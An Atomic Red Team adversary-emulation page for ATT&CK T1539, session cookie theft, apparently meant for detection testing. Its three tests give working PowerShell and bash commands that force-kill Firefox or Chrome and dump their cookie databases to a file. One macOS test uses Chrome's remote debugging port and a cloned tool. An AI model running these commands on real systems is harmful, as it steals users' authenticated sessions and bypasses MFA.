T1539
Steal Web Session Cookie
Description from ATT&CK
An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.
Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)
There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as 1
Evilginx2
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Muraena
After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.
Atomic Tests
Atomic Test #1 - Steal Firefox Cookies (Windows)
This test queries Firefox's cookies.sqlite database to steal the cookie data contained within it, similar to Zloader/Zbot's cookie theft function. Note: If Firefox is running, the process will be killed to ensure that the DB file isn't locked. See https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf.
Supported Platforms: windows
auto_generated_guid: 4b437357-f4e9-4c84-9fa6-9bcee6f826aa
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| sqlite3_path | Path to sqlite3 | path | PathToAtomicsFolder..\ExternalPayloads\sqlite-tools-win32-x86-3380200\sqlite3.exe |
| output_file | Filepath to output cookies | path | PathToAtomicsFolder..\ExternalPayloads\T1539FirefoxCookies.txt |
Attack Commands: Run with powershell!
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stop-process -name "firefox" -force -erroraction silentlycontinue
$CookieDBLocation = get-childitem -path "$env:appdata\Mozilla\Firefox\Profiles\*\cookies.sqlite"
"select host, name, value, path, expiry, isSecure, isHttpOnly, sameSite from [moz_cookies];" | cmd /c #{sqlite3_path} "$CookieDBLocation" | out-file -filepath "#{output_file}"
Cleanup Commands:
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remove-item #{output_file} -erroraction silentlycontinue
Dependencies: Run with powershell!
Description: Sqlite3 must exist at (#{sqlite3_path})
Check Prereq Commands:
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if (Test-Path "#{sqlite3_path}") {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://www.sqlite.org/2022/sqlite-tools-win32-x86-3380200.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\sqlite.zip"
Expand-Archive -path "PathToAtomicsFolder\..\ExternalPayloads\sqlite.zip" -destinationpath "PathToAtomicsFolder\..\ExternalPayloads\" -force
Atomic Test #2 - Steal Chrome Cookies (Windows)
This test queries Chrome's SQLite database to steal the encrypted cookie data, designed to function similarly to Zloader/Zbot's cookie theft function. Once an adversary obtains the encrypted cookie info, they could go on to decrypt the encrypted value, potentially allowing for session theft. Note: If Chrome is running, the process will be killed to ensure that the DB file isn't locked. See https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf.
Supported Platforms: windows
auto_generated_guid: 26a6b840-4943-4965-8df5-ef1f9a282440
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| cookie_db | Filepath for Chrome cookies database | string | $env:localappdata\Google\Chrome\User Data\Default\Network\Cookies |
| sqlite3_path | Path to sqlite3 | path | PathToAtomicsFolder..\ExternalPayloads\sqlite-tools-win32-x86-3380200\sqlite3.exe |
| output_file | Filepath to output cookies | path | PathToAtomicsFolder..\ExternalPayloads\T1539ChromeCookies.txt |
Attack Commands: Run with powershell!
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stop-process -name "chrome" -force -erroraction silentlycontinue
"select host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly from [Cookies];" | cmd /c #{sqlite3_path} "#{cookie_db}" | out-file -filepath "#{output_file}"
Cleanup Commands:
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remove-item #{output_file}
Dependencies: Run with powershell!
Description: Sqlite3 must exist at (#{sqlite3_path})
Check Prereq Commands:
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if (Test-Path "#{sqlite3_path}") {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://www.sqlite.org/2022/sqlite-tools-win32-x86-3380200.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\sqlite.zip"
Expand-Archive -path "PathToAtomicsFolder\..\ExternalPayloads\sqlite.zip" -destinationpath "PathToAtomicsFolder\..\ExternalPayloads\" -force
Atomic Test #3 - Steal Chrome Cookies via Remote Debugging (Mac)
The remote debugging functionality in Chrome can be used by malware for post-exploitation activities to obtain cookies without requiring keychain access. By initiating Chrome with a remote debug port, an attacker can sidestep encryption and employ Chrome's own mechanisms to access cookies.
If successful, this test will output a list of cookies.
Note: Chrome processes will be killed during this test.
See https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e
Supported Platforms: macos
auto_generated_guid: e43cfdaf-3fb8-4a45-8de0-7eee8741d072
Inputs:
None
Attack Commands: Run with bash!
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killall 'Google Chrome'
sleep 1
open -a "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" --args --remote-debugging-port=1337 --remote-allow-origins=http://localhost/
sleep 1
/tmp/WhiteChocolateMacademiaNut/chocolate -d cookies -p 1337
Cleanup Commands:
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rm -rf /tmp/WhiteChocolateMacademiaNut
Dependencies: Run with bash!
Description: Install Go Check Prereq Commands:
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go version
Get Prereq Commands:
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brew install go
Description: Download and compile WhiteChocolateMacademiaNut Check Prereq Commands:
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/tmp/WhiteChocolateMacademiaNut/chocolate -h
Get Prereq Commands:
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git clone https://github.com/slyd0g/WhiteChocolateMacademiaNut.git /tmp/WhiteChocolateMacademiaNut
cd /tmp/WhiteChocolateMacademiaNut
go mod init chocolate
go mod tidy
go build